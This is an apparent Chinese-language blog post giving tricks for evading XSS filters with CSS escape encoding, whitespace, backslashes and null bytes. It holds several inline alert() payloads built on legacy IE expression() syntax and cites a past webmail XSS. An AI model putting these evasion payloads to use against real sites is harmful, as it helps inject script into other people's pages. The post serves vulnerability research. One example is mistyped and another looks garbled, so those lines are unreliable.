在XSS的漏洞挖掘中编码和反斜杠也是需要掌握的基本方法,这里给出XSS漏洞挖掘中采用CSS编码和反斜杠的三个技巧。

技巧一、改变编码中0的数量 (\0X -> \00000X)。
例如:<p style="xss:\65xpression(alert(/wpulog/))">
               <p style="xss:\065xpression(alert(/wpulog/))">
               <p style="xss:\0065xpression(alert(/wpulog/))">
效果是一样的。

技巧二、改变编码字符的大小写(\0A -> \0a)。
例如:<p style="xss:alert( /wpulog/))\x0d">
           <p style="xss:alert( /wpulog/))\x0D">
效果是一样的。

技巧三、编码字符的后边可以添加空白符(IE支持\x20, \x09;FF和Opera支持\x0A, \x0D)。
例如:在IE中<p sytle="xss:\65 xpression(alert(/wpulog/))">同样能够运行,\65与x之间是空格。

另外,CSS中在字母前添加反斜杠会被忽略,如\x等同于x,主要\n不等于n。在火狐中也可在换行符(\x0A,\X0D)前添加反斜杠,如:<div style="xx:
\
gg">
在IE中CSS属性值可以插入空字符(\0),例如:曾经的网易邮箱Webmail XSS漏洞
<p style="xss:ex&#00;pression(alert(/wpulog/)">。
不同的浏览器可能支持不同的编码方式,如在火狐浏览器中不支持对括号进行编码。而IE支持对括号编码,如:<p style="xss:expression\28alert\28/wpulog/\29\29">在IE中可正常执行。
这些技巧可以结合其他的一些编码方法混合使用,也许在XSS的漏洞挖掘中会收到意外的效果。


[+]Reference:
~~~~~~~~~
http://heideri.ch/jso/#61